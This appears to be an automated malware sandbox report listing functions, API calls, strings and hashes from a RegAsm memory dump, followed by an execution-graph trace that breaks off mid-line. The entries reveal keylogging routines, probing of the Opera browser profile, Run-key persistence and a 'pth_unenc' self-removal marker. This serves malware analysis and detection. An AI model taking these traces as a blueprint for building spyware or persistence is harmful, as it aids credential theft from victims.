                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: AppData$\Opera Software\Opera Stable\
                      • API String ID: 1174141254-1629609700
                      • Opcode ID: cbec4c721474318851a7c02d4d9936ce5133d15acec931d959add52bdfa17e90
                      • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                      • Opcode Fuzzy Hash: cbec4c721474318851a7c02d4d9936ce5133d15acec931d959add52bdfa17e90
                      • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                      Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • GetKeyState.USER32(00000011), ref: 0040B64B
                        • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                        • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                        • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                        • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                        • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                        • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                        • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                      • String ID: [AltL]$[AltR]
                      • API String ID: 2738857842-2658077756
                      • Opcode ID: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                      • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                      • Opcode Fuzzy Hash: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                      • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                      Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                      Download Yara Rule
                      APIs
                      • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: uD
                      • API String ID: 0-2547262877
                      • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                      • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                      • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                      • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                      Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExecuteShell
                      • String ID: !D@$open
                      • API String ID: 587946157-1586967515
                      • Opcode ID: 204c713d203efeff6b41638de090f7ddfc4dbb766d4a3fc6f87e83cad3270c1f
                      • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                      • Opcode Fuzzy Hash: 204c713d203efeff6b41638de090f7ddfc4dbb766d4a3fc6f87e83cad3270c1f
                      • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                      Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • GetKeyState.USER32(00000012), ref: 0040B6A5
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: State
                      • String ID: [CtrlL]$[CtrlR]
                      • API String ID: 1649606143-2446555240
                      • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                      • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                      • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                      • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                      Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • __Init_thread_footer.LIBCMT ref: 00410F29
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Init_thread_footer__onexit
                      • String ID: ,kG$0kG
                      • API String ID: 1881088180-2015055088
                      • Opcode ID: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                      • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                      • Opcode Fuzzy Hash: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                      • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                      Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteOpenValue
                      • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                      • API String ID: 2654517830-1051519024
                      • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                      • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                      • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                      • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                      Function 0040B869 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B876
                      • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8A1
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteDirectoryFileRemove
                      • String ID: pth_unenc
                      • API String ID: 3325800564-4028850238
                      • Opcode ID: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                      • Instruction ID: 8281cfb8de641f04b50c20d0c8e921e0d4b8d2282f61a3be21f0805504db5409
                      • Opcode Fuzzy Hash: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                      • Instruction Fuzzy Hash: 45E046321007119BCB14AB258C48AD6339CAF0031AF00486FA492A32A1DF38AC09CAA8
                      Function 00412850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                      • WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ObjectProcessSingleTerminateWait
                      • String ID: pth_unenc
                      • API String ID: 1872346434-4028850238
                      • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                      • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                      • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                      • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                      Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                      • GetLastError.KERNEL32 ref: 00440D35
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$ErrorLast
                      • String ID:
                      • API String ID: 1717984340-0
                      • Opcode ID: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                      • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                      • Opcode Fuzzy Hash: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                      • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                      Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                      Download Yara Rule
                      APIs
                      • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
                      • IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
                      • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C7A
                      • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastRead
                      • String ID:
                      • API String ID: 4100373531-0
                      • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                      • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                      • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                      • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

                      Execution Graph

                      Execution Coverage:5.4%
                      Dynamic/Decrypted Code Coverage:9.2%
                      Signature Coverage:0%
                      Total number of Nodes:1990
                      Total number of Limit Nodes:56
                      execution_graph 37716 4466f4 37735 446904 37716->37735 37718 446700 GetModuleHandleA 37721 446710 __set_app_type __p__fmode __p__commode 37718->37721 37720 4467a4 37722 4467ac __setusermatherr 37720->37722 37723 4467b8 37720->37723 37721->37720 37722->37723 37736 4468f0 _controlfp 37723->37736 37725 4467bd _initterm GetEnvironmentStringsW _initterm 37726 44681e GetStartupInfoW 37725->37726 37727 446810 37725->37727 37729 446866 GetModuleHandleA 37726->37729 37737 41276d 37729->37737 37733 446896 exit 37734 44689d _cexit 37733->37734 37734->37727 37735->37718 37736->37725 37738 41277d 37737->37738 37780 4044a4 LoadLibraryW 37738->37780 37740 412785 37741 412789 37740->37741 37786 414b81 37740->37786 37741->37733 37741->37734 37744 4127c8 37790 412465 memset ??2@YAPAXI 37744->37790 37746 4127ea 37802 40ac21 37746->37802 37751 412813 37820 40dd07 memset 37751->37820 37752 412827 37825 40db69 memset 37752->37825 37755 412822 37847 4125b6 ??3@YAXPAX DeleteObject 37755->37847 37757 40ada2 _wcsicmp 37758 41283d 37757->37758 37758->37755 37761 412863 CoInitialize 37758->37761 37830 41268e 37758->37830 37760 412966 37848 40b1ab ??3@YAXPAX ??3@YAXPAX 37760->37848 37846 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37761->37846 37765 41296f 37849 40b633 37765->37849 37767 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37772 412957 CoUninitialize 37767->37772 37777 4128ca 37767->37777 37772->37755 37773 4128d0 TranslateAcceleratorW 37774 412941 GetMessageW 37773->37774 37773->37777 37774->37772 37774->37773 37775 412909 IsDialogMessageW 37775->37774 37775->37777 37776 4128fd IsDialogMessageW 37776->37774 37776->37775 37777->37773 37777->37775 37777->37776 37778 41292b TranslateMessage DispatchMessageW 37777->37778 37779 41291f IsDialogMessageW 37777->37779 37778->37774 37779->37774 37779->37778 37781 4044f3 37780->37781 37785 4044cf FreeLibrary 37780->37785 37783 404507 MessageBoxW 37781->37783 37784 40451e 37781->37784 37783->37740 37784->37740 37785->37781 37787 414b8a 37786->37787 37788 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37786->37788 37853 40a804 memset 37787->37853 37788->37744 37791 4124e0 37790->37791 37792 412505 ??2@YAPAXI 37791->37792 37793 41251c 37792->37793 37798 412521 37792->37798 37875 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37793->37875 37864 444722 37798->37864 37801 41259b wcscpy 37801->37746 37880 40b1ab ??3@YAXPAX ??3@YAXPAX 37802->37880 37806 40ad4b 37815 40ad76 37806->37815 37904 40a9ce 37806->37904 37807 40a9ce malloc memcpy ??3@YAXPAX ??3@YAXPAX 37808 40ac5c 37807->37808 37808->37806 37808->37807 37810 40ace7 ??3@YAXPAX 37808->37810 37808->37815 37884 40a8d0 37808->37884 37896 4099f4 37808->37896 37810->37808 37814 40a8d0 7 API calls 37814->37815 37881 40aa04 37815->37881 37816 40ada2 37817 40adaa 37816->37817 37818 40adc9 37816->37818 37817->37818 37819 40adb3 _wcsicmp 37817->37819 37818->37751 37818->37752 37819->37817 37819->37818 37909 40dce0 37820->37909 37822 40dd3a GetModuleHandleW 37914 40dba7 37822->37914 37826 40dce0 3 API calls 37825->37826 37827 40db99 37826->37827 37986 40dae1 37827->37986 38000 402f3a 37830->38000 37832 412766 37832->37755 37832->37761 37833 4126d3 _wcsicmp 37834 4126a8 37833->37834 37834->37832 37834->37833 37836 41270a 37834->37836 38034 4125f8 7 API calls 37834->38034 37836->37832 38003 411ac5 37836->38003 37846->37767 37847->37760 37848->37765 37850 40b640 37849->37850 37851 40b639 ??3@YAXPAX 37849->37851 37852 40b1ab ??3@YAXPAX ??3@YAXPAX 37850->37852 37851->37850 37852->37741 37854 40a83b GetSystemDirectoryW 37853->37854 37855 40a84c wcscpy 37853->37855 37854->37855 37860 409719 wcslen 37855->37860 37858 40a881 LoadLibraryW 37859 40a886 37858->37859 37859->37788 37861 409724 37860->37861 37862 409739 wcscat LoadLibraryW 37860->37862 37861->37862 37863 40972c wcscat 37861->37863 37862->37858 37862->37859 37863->37862 37865 444732 37864->37865 37866 444728 DeleteObject 37864->37866 37876 409cc3 37865->37876 37866->37865 37868 412551 37869 4010f9 37868->37869 37870 401130 37869->37870 37871 401134 GetModuleHandleW LoadIconW 37870->37871 37872 401107 wcsncat 37870->37872 37873 40a7be 37871->37873 37872->37870 37874 40a7d2 37873->37874 37874->37801 37874->37874 37875->37798 37879 409bfd memset wcscpy 37876->37879 37878 409cdb CreateFontIndirectW 37878->37868 37879->37878 37880->37808 37882 40aa14 37881->37882 37883 40aa0a ??3@YAXPAX 37881->37883 37882->37816 37883->37882 37885 40a8eb 37884->37885 37886 40a8df wcslen 37884->37886 37887 40a906 ??3@YAXPAX 37885->37887 37888 40a90f 37885->37888 37886->37885 37892 40a919 37887->37892 37889 4099f4 3 API calls 37888->37889 37889->37892 37890 40a932 37894 4099f4 3 API calls 37890->37894 37891 40a929 ??3@YAXPAX 37893 40a93e memcpy 37891->37893 37892->37890 37892->37891 37893->37808 37895 40a93d 37894->37895 37895->37893 37897 409a41 37896->37897 37898 4099fb malloc 37896->37898 37897->37808 37900 409a37 37898->37900 37901 409a1c 37898->37901 37900->37808 37902 409a30 ??3@YAXPAX 37901->37902 37903 409a20 memcpy 37901->37903 37902->37900 37903->37902 37905 40a9e7 37904->37905 37906 40a9dc ??3@YAXPAX 37904->37906 37908 4099f4 3 API calls 37905->37908 37907 40a9f2 37906->37907 37907->37814 37908->37907 37933 409bca GetModuleFileNameW 37909->37933 37911 40dce6 wcsrchr 37912 40dcf5 37911->37912 37913 40dcf9 wcscat 37911->37913 37912->37913 37913->37822 37934 44db70 37914->37934 37918 40dbfd 37937 4447d9 37918->37937 37921 40dc34 wcscpy wcscpy 37963 40d6f5 37921->37963 37922 40dc1f wcscpy 37922->37921 37925 40d6f5 3 API calls 37926 40dc73 37925->37926 37927 40d6f5 3 API calls 37926->37927 37928 40dc89 37927->37928 37929 40d6f5 3 API calls 37928->37929 37930 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 37929->37930 37969 40da80 37930->37969 37933->37911 37935 40dbb4 memset memset 37934->37935 37936 409bca GetModuleFileNameW 37935->37936 37936->37918 37939 4447f4 37937->37939 37938 40dc1b 37938->37921 37938->37922 37939->37938 37940 444807 ??2@YAPAXI 37939->37940 37941 44481f 37940->37941 37942 444873 _snwprintf 37941->37942 37943 4448ab wcscpy 37941->37943 37976 44474a 8 API calls 37942->37976 37945 4448bb 37943->37945 37977 44474a 8 API calls 37945->37977 37946 4448a7 37946->37943 37946->37945 37948 4448cd 37978 44474a 8 API calls 37948->37978 37950 4448e2 37979 44474a 8 API calls 37950->37979 37952 4448f7 37980 44474a 8 API calls 37952->37980 37954 44490c 37981 44474a 8 API calls 37954->37981 37956 444921 37982 44474a 8 API calls 37956->37982 37958 444936 37983 44474a 8 API calls 37958->37983 37960 44494b 37984 44474a 8 API calls 37960->37984 37962 444960 ??3@YAXPAX 37962->37938 37964 44db70 37963->37964 37965 40d702 memset GetPrivateProfileStringW 37964->37965 37966 40d752 37965->37966 37967 40d75c WritePrivateProfileStringW 37965->37967 37966->37967 37968 40d758 37966->37968 37967->37968 37968->37925 37970 44db70 37969->37970 37971 40da8d memset 37970->37971 37972 40daac LoadStringW 37971->37972 37973 40dac6 37972->37973 37973->37972 37975 40dade 37973->37975 37985 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 37973->37985 37975->37755 37976->37946 37977->37948 37978->37950 37979->37952 37980->37954 37981->37956 37982->37958 37983->37960 37984->37962 37985->37973 37996 409b98 GetFileAttributesW 37986->37996 37988 40daea 37989 40db63 37988->37989 37990 40daef wcscpy wcscpy GetPrivateProfileIntW 37988->37990 37989->37757 37997 40d65d GetPrivateProfileStringW 37990->37997 37992 40db3e 37998 40d65d GetPrivateProfileStringW 37992->37998 37994 40db4f 37999 40d65d GetPrivateProfileStringW 37994->37999 37996->37988 37997->37992 37998->37994 37999->37989 38035 40eaff 38000->38035 38004 411ae2 memset 38003->38004 38005 411b8f 38003->38005 38076 409bca GetModuleFileNameW 38004->38076 38017 411a8b 38005->38017 38007 411b0a wcsrchr 38008 411b22 wcscat 38007->38008 38009 411b1f 38007->38009 38077 414770 wcscpy wcscpy wcscpy CloseHandle 38008->38077 38009->38008 38011 411b67 38078 402afb 38011->38078 38015 411b7f 38134 40ea13 SendMessageW memset SendMessageW 38015->38134 38018 402afb 27 API calls 38017->38018 38019 411ac0 38018->38019 38020 4110dc 38019->38020 38021 41113e 38020->38021 38026 4110f0 38020->38026 38159 40969c LoadCursorW SetCursor 38021->38159 38023 411143 38160 4032b4 38023->38160 38178 444a54 38023->38178 38024 4110f7 _wcsicmp 38024->38026 38025 411157 38027 40ada2 _wcsicmp 38025->38027 38026->38021 38026->38024 38181 410c46 10 API calls 38026->38181 38030 411167 38027->38030 38028 4111af 38030->38028 38031 4111a6 qsort 38030->38031 38031->38028 38034->37834 38036 40eb10 38035->38036 38049 40e8e0 38036->38049 38039 40eb6c memcpy memcpy 38040 40ebe1 38039->38040 38041 40ebb7 38039->38041 38040->38039 38042 40ebf2 ??2@YAPAXI ??2@YAPAXI 38040->38042 38041->38040 38043 40d134 16 API calls 38041->38043 38044 40ec2e ??2@YAPAXI 38042->38044 38047 40ec65 38042->38047 38043->38041 38044->38047 38059 40ea7f 38047->38059 38048 402f49 38048->37834 38050 40e8f2 38049->38050 38051 40e8eb ??3@YAXPAX 38049->38051 38052 40e900 38050->38052 38053 40e8f9 ??3@YAXPAX 38050->38053 38051->38050 38054 40e911 38052->38054 38055 40e90a ??3@YAXPAX 38052->38055 38053->38052 38056 40e931 ??2@YAPAXI ??2@YAPAXI 38054->38056 38057 40e921 ??3@YAXPAX 38054->38057 38058 40e92a ??3@YAXPAX 38054->38058 38055->38054 38056->38039 38057->38058 38058->38056 38060 40aa04 ??3@YAXPAX 38059->38060 38061 40ea88 38060->38061 38062 40aa04 ??3@YAXPAX 38061->38062 38063 40ea90 38062->38063 38064 40aa04 ??3@YAXPAX 38063->38064 38065 40ea98 38064->38065 38066 40aa04 ??3@YAXPAX 38065->38066 38067 40eaa0 38066->38067 38068 40a9ce 4 API calls 38067->38068 38069 40eab3 38068->38069 38070 40a9ce 4 API calls 38069->38070 38071 40eabd 38070->38071 38072 40a9ce 4 API calls 38071->38072 38073 40eac7 38072->38073 38074 40a9ce 4 API calls 38073->38074 38075 40ead1 38074->38075 38075->38048 38076->38007 38077->38011 38135 40b2cc 38078->38135 38080 402b0a 38081 40b2cc 27 API calls 38080->38081 38082 402b23 38081->38082 38083 40b2cc 27 API calls 38082->38083 38084 402b3a 38083->38084 38085 40b2cc 27 API calls 38084->38085 38086 402b54 38085->38086 38087 40b2cc 27 API calls 38086->38087 38088 402b6b 38087->38088 38089 40b2cc 27 API calls 38088->38089 38090 402b82 38089->38090 38091 40b2cc 27 API calls 38090->38091 38092 402b99 38091->38092 38093 40b2cc 27 API calls 38092->38093 38094 402bb0 38093->38094 38095 40b2cc 27 API calls 38094->38095 38096 402bc7 38095->38096 38097 40b2cc 27 API calls 38096->38097 38098 402bde 38097->38098 38099 40b2cc 27 API calls 38098->38099 38100 402bf5 38099->38100 38101 40b2cc 27 API calls 38100->38101 38102 402c0c 38101->38102 38103 40b2cc 27 API calls 38102->38103 38104 402c23 38103->38104 38105 40b2cc 27 API calls 38104->38105 38106 402c3a 38105->38106 38107 40b2cc 27 API calls 38106->38107 38108 402c51 38107->38108 38109 40b2cc 27 API calls 38108->38109 38110 402c68 38109->38110 38111 40b2cc 27 API calls 38110->38111 38112 402c7f 38111->38112 38113 40b2cc 27 API calls 38112->38113 38114 402c99 38113->38114 38115 40b2cc 27 API calls 38114->38115 38116 402cb3 38115->38116 38117 40b2cc 27 API calls 38116->38117 38118 402cd5 38117->38118 38119 40b2cc 27 API calls 38118->38119 38120 402cf0 38119->38120 38121 40b2cc 27 API calls 38120->38121 38122 402d0b 38121->38122 38123 40b2cc 27 API calls 38122->38123 38124 402d26 38123->38124 38125 40b2cc 27 API calls 38124->38125 38126 402d3e 38125->38126 38127 40b2cc 27 API calls 38126->38127 38128 402d59 38127->38128 38129 40b2cc 27 API calls 38128->38129 38130 402d78 38129->38130 38131 40b2cc 27 API calls 38130->38131 38132 402d93 38131->38132 38133 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38132->38133 38133->38015 38134->38005 38138 40b58d 38135->38138 38137 40b2d1 38137->38080 38139 40b5a4 GetModuleHandleW FindResourceW 38138->38139 38140 40b62e 38138->38140 38141 40b5c2 LoadResource 38139->38141 38143 40b5e7 38139->38143 38140->38137 38142 40b5d0 SizeofResource LockResource 38141->38142 38141->38143 38142->38143 38143->38140 38151 40afcf 38143->38151 38145 40b608 memcpy 38154 40b4d3 memcpy 38145->38154 38147 40b61e 38155 40b3c1 18 API calls 38147->38155 38149 40b626 38156 40b04b 38149->38156 38152 40b04b ??3@YAXPAX 38151->38152 38153 40afd7 ??2@YAPAXI 38152->38153 38153->38145 38154->38147 38155->38149 38157 40b051 ??3@YAXPAX 38156->38157 38158 40b05f 38156->38158 38157->38158 38158->38140 38159->38023 38161 4032c4 38160->38161 38162 40b633 ??3@YAXPAX 38161->38162 38163 403316 38162->38163 38182 44553b 38163->38182 38167 403480 38380 40368c 15 API calls 38167->38380 38169 403489 38170 40b633 ??3@YAXPAX 38169->38170 38172 403495 38170->38172 38171 40333c 38171->38167 38173 4033a9 memset memcpy 38171->38173 38174 4033ec wcscmp 38171->38174 38378 4028e7 11 API calls 38171->38378 38379 40f508 6 API calls 38171->38379 38172->38025 38173->38171 38173->38174 38174->38171 38176 403421 _wcsicmp 38176->38171 38179 444a64 FreeLibrary 38178->38179 38180 444a83 38178->38180 38179->38180 38180->38025 38181->38026 38183 445548 38182->38183 38184 445599 38183->38184 38381 40c768 38183->38381 38185 4455a8 memset 38184->38185 38327 4457f2 38184->38327 38465 403988 38185->38465 38191 4455e5 38200 445672 38191->38200 38210 44560f 38191->38210 38193 4458bb memset memset 38197 414c2e 16 API calls 38193->38197 38195 4459ed 38201 445a00 memset memset 38195->38201 38202 445b22 38195->38202 38196 44595e memset memset 38203 